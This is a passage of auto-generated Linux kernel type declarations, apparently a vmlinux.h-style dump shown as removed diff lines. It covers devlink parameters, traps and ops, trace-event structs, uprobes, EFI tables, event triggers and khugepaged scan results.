DEVLINK_PARAM_GENERIC_ID_IGNORE_ARI = 4, - DEVLINK_PARAM_GENERIC_ID_MSIX_VEC_PER_PF_MAX = 5, - DEVLINK_PARAM_GENERIC_ID_MSIX_VEC_PER_PF_MIN = 6, - DEVLINK_PARAM_GENERIC_ID_FW_LOAD_POLICY = 7, - DEVLINK_PARAM_GENERIC_ID_RESET_DEV_ON_DRV_PROBE = 8, - DEVLINK_PARAM_GENERIC_ID_ENABLE_ROCE = 9, - DEVLINK_PARAM_GENERIC_ID_ENABLE_REMOTE_DEV_RESET = 10, - DEVLINK_PARAM_GENERIC_ID_ENABLE_ETH = 11, - DEVLINK_PARAM_GENERIC_ID_ENABLE_RDMA = 12, - DEVLINK_PARAM_GENERIC_ID_ENABLE_VNET = 13, - DEVLINK_PARAM_GENERIC_ID_ENABLE_IWARP = 14, - DEVLINK_PARAM_GENERIC_ID_IO_EQ_SIZE = 15, - DEVLINK_PARAM_GENERIC_ID_EVENT_EQ_SIZE = 16, - __DEVLINK_PARAM_GENERIC_ID_MAX = 17, - DEVLINK_PARAM_GENERIC_ID_MAX = 16, -}; - -struct devlink_flash_update_params { - const struct firmware *fw; - const char *component; - u32 overwrite_mask; -}; - -struct devlink_region_ops { - const char *name; - void (*destructor)(const void *); - int (*snapshot)(struct devlink *, const struct devlink_region_ops *, struct netlink_ext_ack *, u8 **); - int (*read)(struct devlink *, const struct devlink_region_ops *, struct netlink_ext_ack *, u64, u32, u8 *); - void *priv; -}; - -struct devlink_port_region_ops { - const char *name; - void (*destructor)(const void *); - int (*snapshot)(struct devlink_port *, const struct devlink_port_region_ops *, struct netlink_ext_ack *, u8 **); - int (*read)(struct devlink_port *, const struct devlink_port_region_ops *, struct netlink_ext_ack *, u64, u32, u8 *); - void *priv; -}; - -enum devlink_health_reporter_state { - DEVLINK_HEALTH_REPORTER_STATE_HEALTHY = 0, - DEVLINK_HEALTH_REPORTER_STATE_ERROR = 1, -}; - -struct devlink_health_reporter { - struct list_head list; - void *priv; - const struct devlink_health_reporter_ops *ops; - struct devlink *devlink; - struct devlink_port *devlink_port; - struct devlink_fmsg *dump_fmsg; - struct mutex dump_lock; - u64 graceful_period; - bool auto_recover; - bool auto_dump; - u8 health_state; - u64 dump_ts; - u64 dump_real_ts; - u64 error_count; - u64 recovery_count; - u64 last_recovery_ts; - refcount_t refcount; -}; - -struct devlink_fmsg { - struct list_head item_list; - bool putting_binary; -}; - -struct devlink_trap_metadata { - const char *trap_name; - const char *trap_group_name; - struct net_device *input_dev; - netdevice_tracker dev_tracker; - const struct flow_action_cookie *fa_cookie; - enum devlink_trap_type trap_type; -}; - -struct devlink_trap_policer { - u32 id; - u64 init_rate; - u64 init_burst; - u64 max_rate; - u64 min_rate; - u64 max_burst; - u64 min_burst; -}; - -struct devlink_trap_group { - const char *name; - u16 id; - bool generic; - u32 init_policer_id; -}; - -struct devlink_trap { - enum devlink_trap_type type; - enum devlink_trap_action init_action; - bool generic; - u16 id; - const char *name; - u16 init_group_id; - u32 metadata_cap; -}; - -enum devlink_trap_generic_id { - DEVLINK_TRAP_GENERIC_ID_SMAC_MC = 0, - DEVLINK_TRAP_GENERIC_ID_VLAN_TAG_MISMATCH = 1, - DEVLINK_TRAP_GENERIC_ID_INGRESS_VLAN_FILTER = 2, - DEVLINK_TRAP_GENERIC_ID_INGRESS_STP_FILTER = 3, - DEVLINK_TRAP_GENERIC_ID_EMPTY_TX_LIST = 4, - DEVLINK_TRAP_GENERIC_ID_PORT_LOOPBACK_FILTER = 5, - DEVLINK_TRAP_GENERIC_ID_BLACKHOLE_ROUTE = 6, - DEVLINK_TRAP_GENERIC_ID_TTL_ERROR = 7, - DEVLINK_TRAP_GENERIC_ID_TAIL_DROP = 8, - DEVLINK_TRAP_GENERIC_ID_NON_IP_PACKET = 9, - DEVLINK_TRAP_GENERIC_ID_UC_DIP_MC_DMAC = 10, - DEVLINK_TRAP_GENERIC_ID_DIP_LB = 11, - DEVLINK_TRAP_GENERIC_ID_SIP_MC = 12, - DEVLINK_TRAP_GENERIC_ID_SIP_LB = 13, - DEVLINK_TRAP_GENERIC_ID_CORRUPTED_IP_HDR = 14, - DEVLINK_TRAP_GENERIC_ID_IPV4_SIP_BC = 15, - DEVLINK_TRAP_GENERIC_ID_IPV6_MC_DIP_RESERVED_SCOPE = 16, - DEVLINK_TRAP_GENERIC_ID_IPV6_MC_DIP_INTERFACE_LOCAL_SCOPE = 17, - DEVLINK_TRAP_GENERIC_ID_MTU_ERROR = 18, - DEVLINK_TRAP_GENERIC_ID_UNRESOLVED_NEIGH = 19, - DEVLINK_TRAP_GENERIC_ID_RPF = 20, - DEVLINK_TRAP_GENERIC_ID_REJECT_ROUTE = 21, - DEVLINK_TRAP_GENERIC_ID_IPV4_LPM_UNICAST_MISS = 22, - DEVLINK_TRAP_GENERIC_ID_IPV6_LPM_UNICAST_MISS = 23, - DEVLINK_TRAP_GENERIC_ID_NON_ROUTABLE = 24, - DEVLINK_TRAP_GENERIC_ID_DECAP_ERROR = 25, - DEVLINK_TRAP_GENERIC_ID_OVERLAY_SMAC_MC = 26, - DEVLINK_TRAP_GENERIC_ID_INGRESS_FLOW_ACTION_DROP = 27, - DEVLINK_TRAP_GENERIC_ID_EGRESS_FLOW_ACTION_DROP = 28, - DEVLINK_TRAP_GENERIC_ID_STP = 29, - DEVLINK_TRAP_GENERIC_ID_LACP = 30, - DEVLINK_TRAP_GENERIC_ID_LLDP = 31, - DEVLINK_TRAP_GENERIC_ID_IGMP_QUERY = 32, - DEVLINK_TRAP_GENERIC_ID_IGMP_V1_REPORT = 33, - DEVLINK_TRAP_GENERIC_ID_IGMP_V2_REPORT = 34, - DEVLINK_TRAP_GENERIC_ID_IGMP_V3_REPORT = 35, - DEVLINK_TRAP_GENERIC_ID_IGMP_V2_LEAVE = 36, - DEVLINK_TRAP_GENERIC_ID_MLD_QUERY = 37, - DEVLINK_TRAP_GENERIC_ID_MLD_V1_REPORT = 38, - DEVLINK_TRAP_GENERIC_ID_MLD_V2_REPORT = 39, - DEVLINK_TRAP_GENERIC_ID_MLD_V1_DONE = 40, - DEVLINK_TRAP_GENERIC_ID_IPV4_DHCP = 41, - DEVLINK_TRAP_GENERIC_ID_IPV6_DHCP = 42, - DEVLINK_TRAP_GENERIC_ID_ARP_REQUEST = 43, - DEVLINK_TRAP_GENERIC_ID_ARP_RESPONSE = 44, - DEVLINK_TRAP_GENERIC_ID_ARP_OVERLAY = 45, - DEVLINK_TRAP_GENERIC_ID_IPV6_NEIGH_SOLICIT = 46, - DEVLINK_TRAP_GENERIC_ID_IPV6_NEIGH_ADVERT = 47, - DEVLINK_TRAP_GENERIC_ID_IPV4_BFD = 48, - DEVLINK_TRAP_GENERIC_ID_IPV6_BFD = 49, - DEVLINK_TRAP_GENERIC_ID_IPV4_OSPF = 50, - DEVLINK_TRAP_GENERIC_ID_IPV6_OSPF = 51, - DEVLINK_TRAP_GENERIC_ID_IPV4_BGP = 52, - DEVLINK_TRAP_GENERIC_ID_IPV6_BGP = 53, - DEVLINK_TRAP_GENERIC_ID_IPV4_VRRP = 54, - DEVLINK_TRAP_GENERIC_ID_IPV6_VRRP = 55, - DEVLINK_TRAP_GENERIC_ID_IPV4_PIM = 56, - DEVLINK_TRAP_GENERIC_ID_IPV6_PIM = 57, - DEVLINK_TRAP_GENERIC_ID_UC_LB = 58, - DEVLINK_TRAP_GENERIC_ID_LOCAL_ROUTE = 59, - DEVLINK_TRAP_GENERIC_ID_EXTERNAL_ROUTE = 60, - DEVLINK_TRAP_GENERIC_ID_IPV6_UC_DIP_LINK_LOCAL_SCOPE = 61, - DEVLINK_TRAP_GENERIC_ID_IPV6_DIP_ALL_NODES = 62, - DEVLINK_TRAP_GENERIC_ID_IPV6_DIP_ALL_ROUTERS = 63, - DEVLINK_TRAP_GENERIC_ID_IPV6_ROUTER_SOLICIT = 64, - DEVLINK_TRAP_GENERIC_ID_IPV6_ROUTER_ADVERT = 65, - DEVLINK_TRAP_GENERIC_ID_IPV6_REDIRECT = 66, - DEVLINK_TRAP_GENERIC_ID_IPV4_ROUTER_ALERT = 67, - DEVLINK_TRAP_GENERIC_ID_IPV6_ROUTER_ALERT = 68, - DEVLINK_TRAP_GENERIC_ID_PTP_EVENT = 69, - DEVLINK_TRAP_GENERIC_ID_PTP_GENERAL = 70, - DEVLINK_TRAP_GENERIC_ID_FLOW_ACTION_SAMPLE = 71, - DEVLINK_TRAP_GENERIC_ID_FLOW_ACTION_TRAP = 72, - DEVLINK_TRAP_GENERIC_ID_EARLY_DROP = 73, - DEVLINK_TRAP_GENERIC_ID_VXLAN_PARSING = 74, - DEVLINK_TRAP_GENERIC_ID_LLC_SNAP_PARSING = 75, - DEVLINK_TRAP_GENERIC_ID_VLAN_PARSING = 76, - DEVLINK_TRAP_GENERIC_ID_PPPOE_PPP_PARSING = 77, - DEVLINK_TRAP_GENERIC_ID_MPLS_PARSING = 78, - DEVLINK_TRAP_GENERIC_ID_ARP_PARSING = 79, - DEVLINK_TRAP_GENERIC_ID_IP_1_PARSING = 80, - DEVLINK_TRAP_GENERIC_ID_IP_N_PARSING = 81, - DEVLINK_TRAP_GENERIC_ID_GRE_PARSING = 82, - DEVLINK_TRAP_GENERIC_ID_UDP_PARSING = 83, - DEVLINK_TRAP_GENERIC_ID_TCP_PARSING = 84, - DEVLINK_TRAP_GENERIC_ID_IPSEC_PARSING = 85, - DEVLINK_TRAP_GENERIC_ID_SCTP_PARSING = 86, - DEVLINK_TRAP_GENERIC_ID_DCCP_PARSING = 87, - DEVLINK_TRAP_GENERIC_ID_GTP_PARSING = 88, - DEVLINK_TRAP_GENERIC_ID_ESP_PARSING = 89, - DEVLINK_TRAP_GENERIC_ID_BLACKHOLE_NEXTHOP = 90, - DEVLINK_TRAP_GENERIC_ID_DMAC_FILTER = 91, - DEVLINK_TRAP_GENERIC_ID_EAPOL = 92, - DEVLINK_TRAP_GENERIC_ID_LOCKED_PORT = 93, - __DEVLINK_TRAP_GENERIC_ID_MAX = 94, - DEVLINK_TRAP_GENERIC_ID_MAX = 93, -}; - -enum devlink_trap_group_generic_id { - DEVLINK_TRAP_GROUP_GENERIC_ID_L2_DROPS = 0, - DEVLINK_TRAP_GROUP_GENERIC_ID_L3_DROPS = 1, - DEVLINK_TRAP_GROUP_GENERIC_ID_L3_EXCEPTIONS = 2, - DEVLINK_TRAP_GROUP_GENERIC_ID_BUFFER_DROPS = 3, - DEVLINK_TRAP_GROUP_GENERIC_ID_TUNNEL_DROPS = 4, - DEVLINK_TRAP_GROUP_GENERIC_ID_ACL_DROPS = 5, - DEVLINK_TRAP_GROUP_GENERIC_ID_STP = 6, - DEVLINK_TRAP_GROUP_GENERIC_ID_LACP = 7, - DEVLINK_TRAP_GROUP_GENERIC_ID_LLDP = 8, - DEVLINK_TRAP_GROUP_GENERIC_ID_MC_SNOOPING = 9, - DEVLINK_TRAP_GROUP_GENERIC_ID_DHCP = 10, - DEVLINK_TRAP_GROUP_GENERIC_ID_NEIGH_DISCOVERY = 11, - DEVLINK_TRAP_GROUP_GENERIC_ID_BFD = 12, - DEVLINK_TRAP_GROUP_GENERIC_ID_OSPF = 13, - DEVLINK_TRAP_GROUP_GENERIC_ID_BGP = 14, - DEVLINK_TRAP_GROUP_GENERIC_ID_VRRP = 15, - DEVLINK_TRAP_GROUP_GENERIC_ID_PIM = 16, - DEVLINK_TRAP_GROUP_GENERIC_ID_UC_LB = 17, - DEVLINK_TRAP_GROUP_GENERIC_ID_LOCAL_DELIVERY = 18, - DEVLINK_TRAP_GROUP_GENERIC_ID_EXTERNAL_DELIVERY = 19, - DEVLINK_TRAP_GROUP_GENERIC_ID_IPV6 = 20, - DEVLINK_TRAP_GROUP_GENERIC_ID_PTP_EVENT = 21, - DEVLINK_TRAP_GROUP_GENERIC_ID_PTP_GENERAL = 22, - DEVLINK_TRAP_GROUP_GENERIC_ID_ACL_SAMPLE = 23, - DEVLINK_TRAP_GROUP_GENERIC_ID_ACL_TRAP = 24, - DEVLINK_TRAP_GROUP_GENERIC_ID_PARSER_ERROR_DROPS = 25, - DEVLINK_TRAP_GROUP_GENERIC_ID_EAPOL = 26, - __DEVLINK_TRAP_GROUP_GENERIC_ID_MAX = 27, - DEVLINK_TRAP_GROUP_GENERIC_ID_MAX = 26, -}; - -enum { - DEVLINK_F_RELOAD = 1, -}; - -struct devlink_info_req; - -struct devlink_ops { - u32 supported_flash_update_params; - long unsigned int reload_actions; - long unsigned int reload_limits; - int (*reload_down)(struct devlink *, bool, enum devlink_reload_action, enum devlink_reload_limit, struct netlink_ext_ack *); - int (*reload_up)(struct devlink *, enum devlink_reload_action, enum devlink_reload_limit, u32 *, struct netlink_ext_ack *); - int (*port_type_set)(struct devlink_port *, enum devlink_port_type); - int (*port_split)(struct devlink *, struct devlink_port *, unsigned int, struct netlink_ext_ack *); - int (*port_unsplit)(struct devlink *, struct devlink_port *, struct netlink_ext_ack *); - int (*sb_pool_get)(struct devlink *, unsigned int, u16, struct devlink_sb_pool_info *); - int (*sb_pool_set)(struct devlink *, unsigned int, u16, u32, enum devlink_sb_threshold_type, struct netlink_ext_ack *); - int (*sb_port_pool_get)(struct devlink_port *, unsigned int, u16, u32 *); - int (*sb_port_pool_set)(struct devlink_port *, unsigned int, u16, u32, struct netlink_ext_ack *); - int (*sb_tc_pool_bind_get)(struct devlink_port *, unsigned int, u16, enum devlink_sb_pool_type, u16 *, u32 *); - int (*sb_tc_pool_bind_set)(struct devlink_port *, unsigned int, u16, enum devlink_sb_pool_type, u16, u32, struct netlink_ext_ack *); - int (*sb_occ_snapshot)(struct devlink *, unsigned int); - int (*sb_occ_max_clear)(struct devlink *, unsigned int); - int (*sb_occ_port_pool_get)(struct devlink_port *, unsigned int, u16, u32 *, u32 *); - int (*sb_occ_tc_port_bind_get)(struct devlink_port *, unsigned int, u16, enum devlink_sb_pool_type, u32 *, u32 *); - int (*eswitch_mode_get)(struct devlink *, u16 *); - int (*eswitch_mode_set)(struct devlink *, u16, struct netlink_ext_ack *); - int (*eswitch_inline_mode_get)(struct devlink *, u8 *); - int (*eswitch_inline_mode_set)(struct devlink *, u8, struct netlink_ext_ack *); - int (*eswitch_encap_mode_get)(struct devlink *, enum devlink_eswitch_encap_mode *); - int (*eswitch_encap_mode_set)(struct devlink *, enum devlink_eswitch_encap_mode, struct netlink_ext_ack *); - int (*info_get)(struct devlink *, struct devlink_info_req *, struct netlink_ext_ack *); - int (*flash_update)(struct devlink *, struct devlink_flash_update_params *, struct netlink_ext_ack *); - int (*trap_init)(struct devlink *, const struct devlink_trap *, void *); - void (*trap_fini)(struct devlink *, const struct devlink_trap *, void *); - int (*trap_action_set)(struct devlink *, const struct devlink_trap *, enum devlink_trap_action, struct netlink_ext_ack *); - int (*trap_group_init)(struct devlink *, const struct devlink_trap_group *); - int (*trap_group_set)(struct devlink *, const struct devlink_trap_group *, const struct devlink_trap_policer *, struct netlink_ext_ack *); - int (*trap_group_action_set)(struct devlink *, const struct devlink_trap_group *, enum devlink_trap_action, struct netlink_ext_ack *); - int (*trap_drop_counter_get)(struct devlink *, const struct devlink_trap *, u64 *); - int (*trap_policer_init)(struct devlink *, const struct devlink_trap_policer *); - void (*trap_policer_fini)(struct devlink *, const struct devlink_trap_policer *); - int (*trap_policer_set)(struct devlink *, const struct devlink_trap_policer *, u64, u64, struct netlink_ext_ack *); - int (*trap_policer_counter_get)(struct devlink *, const struct devlink_trap_policer *, u64 *); - int (*port_function_hw_addr_get)(struct devlink_port *, u8 *, int *, struct netlink_ext_ack *); - int (*port_function_hw_addr_set)(struct devlink_port *, const u8 *, int, struct netlink_ext_ack *); - int (*port_fn_roce_get)(struct devlink_port *, bool *, struct netlink_ext_ack *); - int (*port_fn_roce_set)(struct devlink_port *, bool, struct netlink_ext_ack *); - int (*port_fn_migratable_get)(struct devlink_port *, bool *, struct netlink_ext_ack *); - int (*port_fn_migratable_set)(struct devlink_port *, bool, struct netlink_ext_ack *); - int (*port_new)(struct devlink *, const struct devlink_port_new_attrs *, struct netlink_ext_ack *, unsigned int *); - int (*port_del)(struct devlink *, unsigned int, struct netlink_ext_ack *); - int (*port_fn_state_get)(struct devlink_port *, enum devlink_port_fn_state *, enum devlink_port_fn_opstate *, struct netlink_ext_ack *); - int (*port_fn_state_set)(struct devlink_port *, enum devlink_port_fn_state, struct netlink_ext_ack *); - int (*rate_leaf_tx_share_set)(struct devlink_rate *, void *, u64, struct netlink_ext_ack *); - int (*rate_leaf_tx_max_set)(struct devlink_rate *, void *, u64, struct netlink_ext_ack *); - int (*rate_leaf_tx_priority_set)(struct devlink_rate *, void *, u32, struct netlink_ext_ack *); - int (*rate_leaf_tx_weight_set)(struct devlink_rate *, void *, u32, struct netlink_ext_ack *); - int (*rate_node_tx_share_set)(struct devlink_rate *, void *, u64, struct netlink_ext_ack *); - int (*rate_node_tx_max_set)(struct devlink_rate *, void *, u64, struct netlink_ext_ack *); - int (*rate_node_tx_priority_set)(struct devlink_rate *, void *, u32, struct netlink_ext_ack *); - int (*rate_node_tx_weight_set)(struct devlink_rate *, void *, u32, struct netlink_ext_ack *); - int (*rate_node_new)(struct devlink_rate *, void **, struct netlink_ext_ack *); - int (*rate_node_del)(struct devlink_rate *, void *, struct netlink_ext_ack *); - int (*rate_leaf_parent_set)(struct devlink_rate *, struct devlink_rate *, void *, void *, struct netlink_ext_ack *); - int (*rate_node_parent_set)(struct devlink_rate *, struct devlink_rate *, void *, void *, struct netlink_ext_ack *); - bool (*selftest_check)(struct devlink *, unsigned int, struct netlink_ext_ack *); - enum devlink_selftest_status (*selftest_run)(struct devlink *, unsigned int, struct netlink_ext_ack *); -}; - -enum devlink_info_version_type { - DEVLINK_INFO_VERSION_TYPE_NONE = 0, - DEVLINK_INFO_VERSION_TYPE_COMPONENT = 1, -}; - -struct devlink_info_req { - struct sk_buff *msg; - void (*version_cb)(const char *, enum devlink_info_version_type, void *); - void *version_cb_priv; -}; - -struct trace_event_raw_devlink_hwmsg { - struct trace_entry ent; - u32 __data_loc_bus_name; - u32 __data_loc_dev_name; - u32 __data_loc_driver_name; - bool incoming; - long unsigned int type; - u32 __data_loc_buf; - size_t len; - char __data[0]; -}; - -struct trace_event_raw_devlink_hwerr { - struct trace_entry ent; - u32 __data_loc_bus_name; - u32 __data_loc_dev_name; - u32 __data_loc_driver_name; - int err; - u32 __data_loc_msg; - char __data[0]; -}; - -struct trace_event_raw_devlink_health_report { - struct trace_entry ent; - u32 __data_loc_bus_name; - u32 __data_loc_dev_name; - u32 __data_loc_driver_name; - u32 __data_loc_reporter_name; - u32 __data_loc_msg; - char __data[0]; -}; - -struct trace_event_raw_devlink_health_recover_aborted { - struct trace_entry ent; - u32 __data_loc_bus_name; - u32 __data_loc_dev_name; - u32 __data_loc_driver_name; - u32 __data_loc_reporter_name; - bool health_state; - u64 time_since_last_recover; - char __data[0]; -}; - -struct trace_event_raw_devlink_health_reporter_state_update { - struct trace_entry ent; - u32 __data_loc_bus_name; - u32 __data_loc_dev_name; - u32 __data_loc_driver_name; - u32 __data_loc_reporter_name; - u8 new_state; - char __data[0]; -}; - -struct trace_event_raw_devlink_trap_report { - struct trace_entry ent; - u32 __data_loc_bus_name; - u32 __data_loc_dev_name; - u32 __data_loc_driver_name; - u32 __data_loc_trap_name; - u32 __data_loc_trap_group_name; - char input_dev_name[16]; - char __data[0]; -}; - -struct trace_event_data_offsets_devlink_hwmsg { - u32 bus_name; - u32 dev_name; - u32 driver_name; - u32 buf; -}; - -struct trace_event_data_offsets_devlink_hwerr { - u32 bus_name; - u32 dev_name; - u32 driver_name; - u32 msg; -}; - -struct trace_event_data_offsets_devlink_health_report { - u32 bus_name; - u32 dev_name; - u32 driver_name; - u32 reporter_name; - u32 msg; -}; - -struct trace_event_data_offsets_devlink_health_recover_aborted { - u32 bus_name; - u32 dev_name; - u32 driver_name; - u32 reporter_name; -}; - -struct trace_event_data_offsets_devlink_health_reporter_state_update { - u32 bus_name; - u32 dev_name; - u32 driver_name; - u32 reporter_name; -}; - -struct trace_event_data_offsets_devlink_trap_report { - u32 bus_name; - u32 dev_name; - u32 driver_name; - u32 trap_name; - u32 trap_group_name; -}; - -typedef void (*btf_trace_devlink_hwmsg)(void *, const struct devlink *, bool, long unsigned int, const u8 *, size_t); - -typedef void (*btf_trace_devlink_hwerr)(void *, const struct devlink *, int, const char *); - -typedef void (*btf_trace_devlink_health_report)(void *, const struct devlink *, const char *, const char *); - -typedef void (*btf_trace_devlink_health_recover_aborted)(void *, const struct devlink *, const char *, bool, u64); - -typedef void (*btf_trace_devlink_health_reporter_state_update)(void *, const struct devlink *, const char *, bool); - -typedef void (*btf_trace_devlink_trap_report)(void *, const struct devlink *, struct sk_buff *, const struct devlink_trap_metadata *); - -struct devlink_linecard_type { - const char *type; - const void *priv; -}; - -struct devlink_resource { - const char *name; - u64 id; - u64 size; - u64 size_new; - bool size_valid; - struct devlink_resource *parent; - struct devlink_resource_size_params size_params; - struct list_head list; - struct list_head resource_list; - devlink_resource_occ_get_t *occ_get; - void *occ_get_priv; -}; - -struct devlink_sb { - struct list_head list; - unsigned int index; - u32 size; - u16 ingress_pools_count; - u16 egress_pools_count; - u16 ingress_tc_count; - u16 egress_tc_count; -}; - -struct devlink_region { - struct devlink *devlink; - struct devlink_port *port; - struct list_head list; - union { - const struct devlink_region_ops *ops; - const struct devlink_port_region_ops *port_ops; - }; - struct mutex snapshot_lock; - struct list_head snapshot_list; - u32 max_snapshots; - u32 cur_snapshots; - u64 size; -}; - -struct devlink_snapshot { - struct list_head list; - struct devlink_region *region; - u8 *data; - u32 id; -}; - -enum devlink_multicast_groups { - DEVLINK_MCGRP_CONFIG = 0, -}; - -struct devlink_reload_combination { - enum devlink_reload_action action; - enum devlink_reload_limit limit; -}; - -struct devlink_flash_component_lookup_ctx { - const char *lookup_name; - bool lookup_name_found; -}; - -typedef int devlink_chunk_fill_t(void *, u8 *, u32, u64, struct netlink_ext_ack *); - -struct devlink_fmsg_item { - struct list_head list; - int attrtype; - u8 nla_type; - u16 len; - int value[0]; -}; - -struct devlink_stats { - u64_stats_t rx_bytes; - u64_stats_t rx_packets; - struct u64_stats_sync syncp; -}; - -struct devlink_trap_policer_item { - const struct devlink_trap_policer *policer; - u64 rate; - u64 burst; - struct list_head list; -}; - -struct devlink_trap_group_item { - const struct devlink_trap_group *group; - struct devlink_trap_policer_item *policer_item; - struct list_head list; - struct devlink_stats *stats; -}; - -struct devlink_trap_item { - const struct devlink_trap *trap; - struct devlink_trap_group_item *group_item; - struct list_head list; - enum devlink_trap_action action; - struct devlink_stats *stats; - void *priv; -}; - -struct change_member { - struct e820_entry *entry; - long long unsigned int addr; -}; - -struct tsc_adjust { - s64 bootval; - s64 adjusted; - long unsigned int nextcheck; - bool warned; -}; - -struct uprobe_xol_ops; - -struct arch_uprobe { - union { - u8 insn[16]; - u8 ixol[16]; - }; - const struct uprobe_xol_ops *ops; - union { - struct { - s32 offs; - u8 ilen; - u8 opc1; - } branch; - struct { - u8 fixups; - u8 ilen; - } defparam; - struct { - u8 reg_offset; - u8 ilen; - } push; - }; -}; - -struct uprobe_xol_ops { - bool (*emulate)(struct arch_uprobe *, struct pt_regs *); - int (*pre_xol)(struct arch_uprobe *, struct pt_regs *); - int (*post_xol)(struct arch_uprobe *, struct pt_regs *); - void (*abort)(struct arch_uprobe *, struct pt_regs *); -}; - -enum rp_check { - RP_CHECK_CALL = 0, - RP_CHECK_CHAIN_CALL = 1, - RP_CHECK_RET = 2, -}; - -struct die_args { - struct pt_regs *regs; - const char *str; - long int err; - int trapnr; - int signr; -}; - -typedef struct { - efi_guid_t guid; - u32 table; -} efi_config_table_32_t; - -typedef union { - struct { - efi_guid_t guid; - void *table; - }; - efi_config_table_32_t mixed_mode; -} efi_config_table_t; - -typedef struct { - efi_guid_t guid; - long unsigned int *ptr; - const char name[16]; -} efi_config_table_type_t; - -typedef struct { - efi_table_hdr_t hdr; - u64 fw_vendor; - u32 fw_revision; - u32 __pad1; - u64 con_in_handle; - u64 con_in; - u64 con_out_handle; - u64 con_out; - u64 stderr_handle; - u64 stderr; - u64 runtime; - u64 boottime; - u32 nr_tables; - u32 __pad2; - u64 tables; -} efi_system_table_64_t; - -typedef struct { - u32 version; - u32 length; - u64 memory_protection_attribute; -} efi_properties_table_t; - -enum rtmutex_chainwalk { - RT_MUTEX_MIN_CHAINWALK = 0, - RT_MUTEX_FULL_CHAINWALK = 1, -}; - -enum event_trigger_type { - ETT_NONE = 0, - ETT_TRACE_ONOFF = 1, - ETT_SNAPSHOT = 2, - ETT_STACKTRACE = 4, - ETT_EVENT_ENABLE = 8, - ETT_EVENT_HIST = 16, - ETT_HIST_ENABLE = 32, - ETT_EVENT_EPROBE = 64, -}; - -enum { - EVENT_TRIGGER_FL_PROBE = 1, -}; - -struct event_trigger_ops; - -struct event_command; - -struct event_trigger_data { - long unsigned int count; - int ref; - int flags; - struct event_trigger_ops *ops; - struct event_command *cmd_ops; - struct event_filter *filter; - char *filter_str; - void *private_data; - bool paused; - bool paused_tmp; - struct list_head list; - char *name; - struct list_head named_list; - struct event_trigger_data *named_data; -}; - -struct event_trigger_ops { - void (*trigger)(struct event_trigger_data *, struct trace_buffer *, void *, struct ring_buffer_event *); - int (*init)(struct event_trigger_data *); - void (*free)(struct event_trigger_data *); - int (*print)(struct seq_file *, struct event_trigger_data *); -}; - -struct event_command { - struct list_head list; - char *name; - enum event_trigger_type trigger_type; - int flags; - int (*parse)(struct event_command *, struct trace_event_file *, char *, char *, char *); - int (*reg)(char *, struct event_trigger_data *, struct trace_event_file *); - void (*unreg)(char *, struct event_trigger_data *, struct trace_event_file *); - void (*unreg_all)(struct trace_event_file *); - int (*set_filter)(char *, struct event_trigger_data *, struct trace_event_file *); - struct event_trigger_ops * (*get_trigger_ops)(char *, char *); -}; - -struct enable_trigger_data { - struct trace_event_file *file; - bool enable; - bool hist; -}; - -enum event_command_flags { - EVENT_CMD_FL_POST_TRIGGER = 1, - EVENT_CMD_FL_NEEDS_REC = 2, -}; - -struct follow_page_context { - struct dev_pagemap *pgmap; - unsigned int page_mask; -}; - -enum scan_result { - SCAN_FAIL = 0, - SCAN_SUCCEED = 1, - SCAN_PMD_NULL = 2, - SCAN_PMD_NONE = 3, - SCAN_PMD_MAPPED = 4, - SCAN_EXCEED_NONE_PTE = 5, - SCAN_EXCEED_SWAP_PTE = 6, - SCAN_EXCEED_SHARED_PTE = 7, - SCAN_PTE_NON_PRESENT = 8, - SCAN_PTE_UFFD_WP = 9, - SCAN_PTE_MAPPED_HUGEPAGE = 10, - SCAN_PAGE_RO = 11, - SCAN_LACK_REFERENCED_PAGE = 12, - SCAN_PAGE_NULL = 13, - SCAN_SCAN_ABORT = 14, - SCAN_PAGE_COUNT = 15, - SCAN_PAGE_LRU = 16, - SCAN_PAGE_LOCK = 17, - SCAN_PAGE_ANON = 18, - SCAN_PAGE_COMPOUND = 19, - SCAN_ANY_PROCESS = 20, - SCAN_VMA_NULL = 21, - SCAN_VMA_CHECK = 22, - SCAN_ADDRESS_RANGE = 23, - SCAN_DEL_PAGE_LRU = 24, - SCAN_ALLOC_HUGE_PAGE_FAIL = 25, - SCAN_CGROUP_CHARGE_FAIL = 26, - SCAN_TRUNCATED = 27, - SCAN_PAGE_HAS_PRIVATE = 28, -}; - -struct trace_event_raw_mm_khugepaged_scan_pmd { - struct trace_entry ent; - struct mm_struct *mm; - long unsigned int pfn; - bool writable; - int referenced; - int none_or_zero; - int status; - int unmapped; - char __data[0]; -}; - -struct trace_event_raw_mm_collapse_huge_page { - struct trace_entry ent; - struct mm_struct *mm; - int isolated; - int status; - char __data[0]; -}; - -struct trace_event_raw_mm_collapse_huge_page_isolate { - struct trace_entry ent; - long unsigned int pfn; - int none_or_zero; - int referenced; - bool writable; - int status; - char __data[0]; -}; - -struct trace_event_raw_mm_collapse_huge_page_swapin { - struct trace_entry ent; - struct mm_struct *mm; - int swapped_in; - int referenced; - int ret; - char __data[0]; -}; - -struct trace_event_raw_mm_khugepaged_scan_file { - struct trace_entry ent; - struct mm_struct *mm; - long unsigned int pfn; - u32 __data_loc_filename; - int present; - int swap; - int result; - char __data[0]; -}; - -struct trace_event_data_offsets_mm_khugepaged_scan_pmd {}; - -struct trace_event_data_offsets_mm_collapse_huge_page {}; - -struct trace_event_data_offsets_mm_collapse_huge_page_isolate {}; - -struct trace_event_data_offsets_mm_collapse_huge_page_swapin {}; - -struct trace_event_data_offsets_mm_khugepaged_scan_file { - u32 filename; -}; - -typedef void (*btf_trace_mm_khugepaged_scan_pmd)(void *, struct mm_struct *, struct page *, bool, int, int, int, int); - -typedef void (*btf_trace_mm_collapse_huge_page)(void *, struct mm_struct *, int, int); - -typedef void (*btf_trace_mm_collapse_huge_page_isolate)(void *, struct page *, int, int, bool, int); - -typedef void (*btf_trace_mm_collapse_huge_page_swapin)(void *, struct mm_struct *, int, int, int); - -typedef void (*btf_trace_mm_khugepaged_scan_file)(void *, struct mm_struct *, struct page *, struct file *, int, int, int); - -struct collapse_control { - bool is_khugepaged; - u32 node_load[64]; - nodemask_t alloc_nmask; -}; - -struct khugepaged_mm_slot { - struct mm_slot slot; - int nr_pte_mapped_thp; - long unsigned int pte_mapped_thp[8]; -}; - -struct khugepaged_scan { - struct list_head mm_head; - struct khugepaged_mm_slot *mm_slot; - long unsigned int address; -}; - -struct shash_instance { - void (*free)(struct shash_instance *); - union { - struct { - char head[96]; - struct crypto_instance base; - } s; - struct shash_alg alg; - }; -}; - -struct crypto_shash_spawn { - struct crypto_spawn base; -}; - -struct fb_con2fbmap { - __u32 console; - __u32 framebuffer; -}; - 